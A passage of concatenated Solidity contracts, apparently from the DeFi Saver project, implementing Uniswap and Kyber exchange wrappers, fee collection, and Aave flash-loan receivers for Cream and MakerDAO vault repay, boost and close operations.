"../../auth/AdminAuth.sol"; /// @title DFS exchange wrapper for UniswapV2 contract UniswapWrapperV3 is DSMath, ExchangeInterfaceV3, AdminAuth { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; UniswapRouterInterface public constant router = UniswapRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external payable override returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); ERC20(_srcAddr).safeApprove(address(router), _srcAmount); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapExactTokensForETH(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } // if we are selling token to token else { amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } return amounts[amounts.length - 1]; } /// @notice Buys a _destAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external override payable returns(uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = abi.decode(_additionalData, (address[])); ERC20(_srcAddr).safeApprove(address(router), uint(-1)); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapTokensForExactETH(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // if we are buying token to token else { amounts = router.swapTokensForExactTokens(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return amounts[0]; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsOut(_srcAmount, path); return wdiv(amounts[amounts.length - 1], _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = abi.decode(_additionalData, (address[])); uint[] memory amounts = router.getAmountsIn(_destAmount, path); return wdiv(_destAmount, amounts[0]); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } receive() payable external {} } pragma solidity ^0.6.0; abstract contract UniswapRouterInterface { function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual returns (uint[] memory amounts); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] memory path) public virtual view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] memory path) public virtual view returns (uint[] memory amounts); } pragma solidity ^0.6.0; import "../../utils/SafeERC20.sol"; import "../../interfaces/ExchangeInterfaceV2.sol"; import "../../interfaces/UniswapRouterInterface.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; /// @title DFS exchange wrapper for UniswapV2 contract UniswapV2Wrapper is DSMath, ExchangeInterfaceV2, AdminAuth { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; UniswapRouterInterface public constant router = UniswapRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; ERC20(_srcAddr).safeApprove(address(router), _srcAmount); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapExactTokensForETH(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } // if we are selling token to token else { amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1); } return amounts[amounts.length - 1]; } /// @notice Buys a _destAmount of tokens at UniswapV2 /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); uint[] memory amounts; address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; ERC20(_srcAddr).safeApprove(address(router), uint(-1)); // if we are buying ether if (_destAddr == WETH_ADDRESS) { amounts = router.swapTokensForExactETH(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // if we are buying token to token else { amounts = router.swapTokensForExactTokens(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return amounts[0]; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; uint[] memory amounts = router.getAmountsOut(_srcAmount, path); return wdiv(amounts[amounts.length - 1], _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); address[] memory path = new address[](2); path[0] = _srcAddr; path[1] = _destAddr; uint[] memory amounts = router.getAmountsIn(_destAmount, path); return wdiv(_destAmount, amounts[0]); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } receive() payable external {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../DS/DSMath.sol"; import "../interfaces/TokenInterface.sol"; import "../interfaces/ExchangeInterfaceV3.sol"; import "../utils/SafeERC20.sol"; contract DFSPrices is DSMath { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; enum ActionType { SELL, BUY } /// @notice Returns the best estimated price from 2 exchanges /// @param _amount Amount of source tokens you want to exchange /// @param _srcToken Address of the source token /// @param _destToken Address of the destination token /// @param _type Type of action SELL|BUY /// @param _wrappers Array of wrapper addresses to compare /// @return (address, uint) The address of the best exchange and the exchange price function getBestPrice( uint256 _amount, address _srcToken, address _destToken, ActionType _type, address[] memory _wrappers, bytes[] memory _additionalData ) public returns (address, uint256) { uint256[] memory rates = new uint256[](_wrappers.length); for (uint i=0; i<_wrappers.length; i++) { rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type, _additionalData[i]); } return getBiggestRate(_wrappers, rates); } /// @notice Return the expected rate from the exchange wrapper /// @dev In case of Oasis/Uniswap handles the different precision tokens /// @param _wrapper Address of exchange wrapper /// @param _srcToken From token /// @param _destToken To token /// @param _amount Amount to be exchanged /// @param _type Type of action SELL|BUY function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount, ActionType _type, bytes memory _additionalData ) public returns (uint256) { bool success; bytes memory result; if (_type == ActionType.SELL) { (success, result) = _wrapper.call(abi.encodeWithSignature( "getSellRate(address,address,uint256,bytes)", _srcToken, _destToken, _amount, _additionalData )); } else { (success, result) = _wrapper.call(abi.encodeWithSignature( "getBuyRate(address,address,uint256,bytes)", _srcToken, _destToken, _amount, _additionalData )); } if (success) { return sliceUint(result, 0); } return 0; } /// @notice Finds the biggest rate between exchanges, needed for sell rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } pragma solidity ^0.6.0; import "../../utils/SafeERC20.sol"; import "../../interfaces/KyberNetworkProxyInterface.sol"; import "../../interfaces/ExchangeInterfaceV2.sol"; import "../../interfaces/IFeeRecipient.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; contract KyberWrapper is DSMath, ExchangeInterfaceV2, AdminAuth { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant KYBER_INTERFACE = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); address walletAddr = feeRecipient.getFeeAddr(); KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), _srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, _srcAmount, destToken, msg.sender, uint(-1), 0, walletAddr ); return destAmount; } /// @notice Buys a _destAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); address walletAddr = feeRecipient.getFeeAddr(); uint srcAmount = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmount = srcToken.balanceOf(address(this)); } else { srcAmount = msg.value; } KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, srcAmount, destToken, msg.sender, _destAmount, 0, walletAddr ); require(destAmount == _destAmount, "Wrong dest amount"); uint srcAmountAfter = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmountAfter = srcToken.balanceOf(address(this)); } else { srcAmountAfter = address(this).balance; } // Send the leftover from the source token back sendLeftOver(_srcAddr); return (srcAmount - srcAmountAfter); } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return rate Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(ERC20(_srcAddr), ERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return rate Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint rate) { uint256 srcRate = getSellRate(_destAddr, _srcAddr, _destAmount); uint256 srcAmount = wmul(srcRate, _destAmount); rate = getSellRate(_srcAddr, _destAddr, srcAmount); // increase rate by 3% too account for inaccuracy between sell/buy conversion rate = rate + (rate / 30); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } receive() payable external {} function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../interfaces/GasTokenInterface.sol"; import "../interfaces/IFeeRecipient.sol"; import "./SaverExchangeCore.sol"; import "../DS/DSMath.sol"; import "../loggers/DefisaverLogger.sol"; import "../auth/AdminAuth.sol"; import "../utils/GasBurner.sol"; import "../utils/SafeERC20.sol"; contract SaverExchange is SaverExchangeCore, AdminAuth, GasBurner { using SafeERC20 for ERC20; uint256 public constant SERVICE_FEE = 800; // 0.125% Fee IFeeRecipient public constant _feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); uint public burnAmount = 10; /// @notice Takes a src amount of tokens and converts it into the dest token /// @dev Takes fee from the _srcAmount before the exchange /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) { // take fee uint dfsFee = getFee(exData.srcAmount, exData.srcAddr); exData.srcAmount = sub(exData.srcAmount, dfsFee); // Perform the exchange (address wrapper, uint destAmount) = _sell(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeSell", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount)); } /// @notice Takes a dest amount of tokens and converts it from the src token /// @dev Send always more than needed for the swap, extra will be returned /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){ uint dfsFee = getFee(exData.srcAmount, exData.srcAddr); exData.srcAmount = sub(exData.srcAmount, dfsFee); // Perform the exchange (address wrapper, uint srcAmount) = _buy(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeBuy", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount)); } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _token Address of the token /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) { uint256 fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender); } if (fee == 0) { feeAmount = 0; } else { address walletAddr = _feeRecipient.getFeeAddr(); feeAmount = _amount / fee; if (_token == KYBER_ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(_token).safeTransfer(walletAddr, feeAmount); } } } /// @notice Changes the amount of gas token we burn for each call /// @dev Only callable by the owner /// @param _newBurnAmount New amount of gas tokens to be burned function changeBurnAmount(uint _newBurnAmount) public { require(owner == msg.sender); burnAmount = _newBurnAmount; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../exchange/SaverExchangeCore.sol"; contract ExchangeDataParser { function decodeExchangeData( SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (address[4] memory, uint[4] memory, bytes memory) { return ( [exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper], [exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x], exchangeData.callData ); } function encodeExchangeData( address[4] memory exAddr, uint[4] memory exNum, bytes memory callData ) internal pure returns (SaverExchangeCore.ExchangeData memory) { return SaverExchangeCore.ExchangeData({ srcAddr: exAddr[0], destAddr: exAddr[1], srcAmount: exNum[0], destAmount: exNum[1], minPrice: exNum[2], wrapper: exAddr[3], exchangeAddr: exAddr[2], callData: callData, price0x: exNum[3] }); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/FlashLoanReceiverBase.sol"; import "../../interfaces/DSProxyInterface.sol"; import "../../exchange/SaverExchangeCore.sol"; /// @title Contract that receives the FL from Aave for Repays/Boost contract CreamSaverFlashLoan is FlashLoanReceiverBase, SaverExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address payable public COMPOUND_SAVER_FLASH_PROXY = 0x1e012554891d271eDc80ba8eB146EA5FF596fA51; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; using SafeERC20 for ERC20; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (bytes memory proxyData, address payable proxyAddr) = packFunctionCall(_amount, _fee, _params); // Send Flash loan amount to DSProxy sendLoanToProxy(proxyAddr, _reserve, _amount); // Execute the DSProxy call DSProxyInterface(proxyAddr).execute(COMPOUND_SAVER_FLASH_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params /// @return proxyData Formated function call data function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (bytes memory proxyData, address payable) { ( bytes memory exDataBytes, address[2] memory cAddresses, // cCollAddress, cBorrowAddress uint256 gasCost, bool isRepay, address payable proxyAddr ) = abi.decode(_params, (bytes,address[2],uint256,bool,address)); ExchangeData memory _exData = unpackExchangeData(exDataBytes); uint[2] memory flashLoanData = [_amount, _fee]; if (isRepay) { proxyData = abi.encodeWithSignature("flashRepay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } else { proxyData = abi.encodeWithSignature("flashBoost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } return (proxyData, proxyAddr); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address /// @param _amount Amount of tokens function sendLoanToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } receive() external override(SaverExchangeCore, FlashLoanReceiverBase) payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../mcd/saver/MCDSaverProxy.sol"; import "../../utils/FlashLoanReceiverBase.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; contract MCDSaverFlashLoan is MCDSaverProxy, AdminAuth, FlashLoanReceiverBase { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} struct SaverData { uint cdpId; uint gasCost; uint loanAmount; uint fee; address joinAddr; ManagerType managerType; } function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); ( bytes memory exDataBytes, uint cdpId, uint gasCost, address joinAddr, bool isRepay, uint8 managerType ) = abi.decode(_params, (bytes,uint256,uint256,address,bool,uint8)); ExchangeData memory exchangeData = unpackExchangeData(exDataBytes); SaverData memory saverData = SaverData({ cdpId: cdpId, gasCost: gasCost, loanAmount: _amount, fee: _fee, joinAddr: joinAddr, managerType: ManagerType(managerType) }); if (isRepay) { repayWithLoan(exchangeData, saverData); } else { boostWithLoan(exchangeData, saverData); } transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function boostWithLoan( ExchangeData memory _exchangeData, SaverData memory _saverData ) internal { address managerAddr = getManagerAddr(_saverData.managerType); address user = getOwner(Manager(managerAddr), _saverData.cdpId); // Draw users Dai uint maxDebt = getMaxDebt(managerAddr, _saverData.cdpId, Manager(managerAddr).ilks(_saverData.cdpId)); uint daiDrawn = drawDai(managerAddr, _saverData.cdpId, Manager(managerAddr).ilks(_saverData.cdpId), maxDebt); // Swap _exchangeData.srcAmount = daiDrawn + _saverData.loanAmount - takeFee(_saverData.gasCost, daiDrawn + _saverData.loanAmount); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; (, uint swapedAmount) = _sell(_exchangeData); // Return collateral addCollateral(managerAddr, _saverData.cdpId, _saverData.joinAddr, swapedAmount); // Draw Dai to repay the flash loan drawDai(managerAddr, _saverData.cdpId, Manager(managerAddr).ilks(_saverData.cdpId), (_saverData.loanAmount + _saverData.fee)); logger.Log(address(this), msg.sender, "MCDFlashBoost", abi.encode(_saverData.cdpId, user, _exchangeData.srcAmount, swapedAmount)); } function repayWithLoan( ExchangeData memory _exchangeData, SaverData memory _saverData ) internal { address managerAddr = getManagerAddr(_saverData.managerType); address user = getOwner(Manager(managerAddr), _saverData.cdpId); bytes32 ilk = Manager(managerAddr).ilks(_saverData.cdpId); // Draw collateral uint maxColl = getMaxCollateral(managerAddr, _saverData.cdpId, ilk, _saverData.joinAddr); uint collDrawn = drawCollateral(managerAddr, _saverData.cdpId, _saverData.joinAddr, maxColl); // Swap _exchangeData.srcAmount = (_saverData.loanAmount + collDrawn); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; (, uint paybackAmount) = _sell(_exchangeData); paybackAmount -= takeFee(_saverData.gasCost, paybackAmount); paybackAmount = limitLoanAmount(managerAddr, _saverData.cdpId, ilk, paybackAmount, user); // Payback the debt paybackDebt(managerAddr, _saverData.cdpId, ilk, paybackAmount, user); // Draw collateral to repay the flash loan drawCollateral(managerAddr, _saverData.cdpId, _saverData.joinAddr, (_saverData.loanAmount + _saverData.fee)); logger.Log(address(this), msg.sender, "MCDFlashRepay", abi.encode(_saverData.cdpId, user, _exchangeData.srcAmount, paybackAmount)); } /// @notice Handles that the amount is not bigger than cdp debt and not dust function limitLoanAmount(address _managerAddr, uint _cdpId, bytes32 _ilk, uint _paybackAmount, address _owner) internal returns (uint256) { uint debt = getAllDebt(address(vat), Manager(_managerAddr).urns(_cdpId), Manager(_managerAddr).urns(_cdpId), _ilk); if (_paybackAmount > debt) { ERC20(DAI_ADDRESS).transfer(_owner, (_paybackAmount - debt)); return debt; } uint debtLeft = debt - _paybackAmount; (,,,, uint dust) = vat.ilks(_ilk); dust = dust / 10**27; // Less than dust value if (debtLeft < dust) { uint amountOverDust = (dust - debtLeft); ERC20(DAI_ADDRESS).transfer(_owner, amountOverDust); return (_paybackAmount - amountOverDust); } return _paybackAmount; } receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../mcd/saver/MCDSaverProxy.sol"; import "../../utils/FlashLoanReceiverBase.sol"; import "../../auth/AdminAuth.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../mcd/saver/MCDSaverProxyHelper.sol"; import "./MCDCloseTaker.sol"; contract MCDCloseFlashLoan is DFSExchangeCore, MCDSaverProxyHelper, FlashLoanReceiverBase, AdminAuth { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); uint public constant SERVICE_FEE = 400; // 0.25% Fee bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); Vat public constant vat = Vat(VAT_ADDRESS); struct CloseData { uint cdpId; uint collAmount; uint daiAmount; uint minAccepted; address joinAddr; address proxy; uint flFee; bool toDai; address reserve; uint amount; } constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { (address proxy, bytes memory packedData) = abi.decode(_params, (address,bytes)); (MCDCloseTaker.CloseData memory closeDataSent, ExchangeData memory exchangeData) = abi.decode(packedData, (MCDCloseTaker.CloseData,ExchangeData)); CloseData memory closeData = CloseData({ cdpId: closeDataSent.cdpId, collAmount: closeDataSent.collAmount, daiAmount: closeDataSent.daiAmount, minAccepted: closeDataSent.minAccepted, joinAddr: closeDataSent.joinAddr, proxy: proxy, flFee: _fee, toDai: closeDataSent.toDai, reserve: _reserve, amount: _amount }); address user = DSProxy(payable(closeData.proxy)).owner(); exchangeData.dfsFeeDivider = SERVICE_FEE; exchangeData.user = user; address managerAddr = getManagerAddr(closeDataSent.managerType); closeCDP(closeData, exchangeData, user, managerAddr); } function closeCDP( CloseData memory _closeData, ExchangeData memory _exchangeData, address _user, address _managerAddr ) internal { paybackDebt(_managerAddr, _closeData.cdpId, Manager(_managerAddr).ilks(_closeData.cdpId), _closeData.daiAmount); // payback whole debt uint drawnAmount = drawMaxCollateral(_managerAddr, _closeData.cdpId, _closeData.joinAddr, _closeData.collAmount); // draw whole collateral uint daiSwaped = 0; if (_closeData.toDai) { _exchangeData.srcAmount = drawnAmount; (, daiSwaped) = _sell(_exchangeData); } else { _exchangeData.destAmount = (_closeData.daiAmount + _closeData.flFee); (, daiSwaped) = _buy(_exchangeData); } address tokenAddr = getVaultCollAddr(_closeData.joinAddr); if (_closeData.toDai) { tokenAddr = DAI_ADDRESS; } require(getBalance(tokenAddr) >= _closeData.minAccepted, "Below min. number of eth specified"); transferFundsBackToPoolInternal(_closeData.reserve, _closeData.amount.add(_closeData.flFee)); sendLeftover(tokenAddr, DAI_ADDRESS, payable(_user)); } function drawMaxCollateral(address _managerAddr, uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { Manager(_managerAddr).frob(_cdpId, -toPositiveInt(_amount), 0); Manager(_managerAddr).flux(_cdpId, address(this), _amount); uint joinAmount = _amount; if 